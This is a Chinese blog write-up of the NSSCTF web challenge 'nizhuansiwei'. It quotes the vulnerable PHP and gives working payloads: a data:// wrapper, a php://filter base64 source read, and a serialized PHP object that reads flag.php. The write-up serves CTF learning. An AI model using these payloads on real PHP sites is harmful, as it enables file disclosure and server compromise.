NSSCTF-WEB-nizhuansiwei

前言

就直接上题目吧

这题有些意思


正文

php 复制代码
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];//定义三个变量
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//做了强比较,可利用?
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//传入的内容进行输出,如果只是单纯使text=上述,绝对不能echo 	file_get_contents 绕过? 
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php        包含,可利用?
        $password = unserialize($password);
        echo $password;  //构建序列化,由于未做限制,可自由发挥
    }
}
else{
    highlight_file(__FILE__);
}
?> 

大致情况

1.file_get_contents

2.文件包含

3.反序列化漏洞

再次审计分析,发现这里的强比较无法有效绕过 ,且/flag/被过滤

我们先尝试构建


EXP

首先要符合fgc

bash 复制代码
?data://text/plain,welcome to the zjctf

接下来是文件包含 ,获取提示给的useless.php内容

bash 复制代码
?file=php://filter/read=convert.base64-encode/resource=useless.php

输出的内容

php 复制代码
<?php  

class Flag{  
    public $file;  
    public function __tostring(){
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

这就很简单了

继续构建

bash 复制代码
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

........害搁这循序渐进是伐.......

但是没有其他可利用的地方了,然后f12看到了flag

..............................我真的就............................

算了算了

差不多就是这样

需要注意的是

1.三个变量缺一不可,因为题目有先后顺序

2.file=useless.php是因为给了提示,不要想太多

3.多尝试


结语

没想到我也有500粉丝了,真的是始料未及的事情

感谢各位师傅们的支持,未来我也会给大家带来更多的内容

不只是CTF


作者的其他文章

攻防世界-WEB-ics07-CSDN博客

NSSCTF-WEB-easy_eval-CSDN博客

NSSCTF-WEB-pklovecloud-CSDN博客

BugKu-WEB-sodirty-CSDN博客

相关推荐
2501_915918414 分钟前
接口漏洞怎么抓?Fiddler 中文版 + Postman + Wireshark 实战指南
websocket·网络协议·tcp/ip·http·网络安全·https·udp
爱喝水的小周9 分钟前
AJAX vs axios vs fetch
前端·javascript·ajax
Jinxiansen021111 分钟前
unplugin-vue-components 最佳实践手册
前端·javascript·vue.js
几道之旅15 分钟前
介绍electron
前端·javascript·electron
周胡杰17 分钟前
鸿蒙arkts使用关系型数据库,使用DB Browser for SQLite连接和查看数据库数据?使用TaskPool进行频繁数据库操作
前端·数据库·华为·harmonyos·鸿蒙·鸿蒙系统
315356691318 分钟前
ClipReader:一个剪贴板英语单词阅读器
前端·后端
玲小珑20 分钟前
Next.js 教程系列(十一)数据缓存策略与 Next.js 运行时
前端·next.js
qiyue7735 分钟前
AI编程专栏(三)- 实战无手写代码,Monorepo结构框架开发
前端·ai编程
断竿散人39 分钟前
JavaScript 异常捕获完全指南(下):前端框架与生产监控实战
前端·javascript·前端框架
Danny_FD41 分钟前
Vue2 + Vuex 实现页面跳转时的状态监听与处理
前端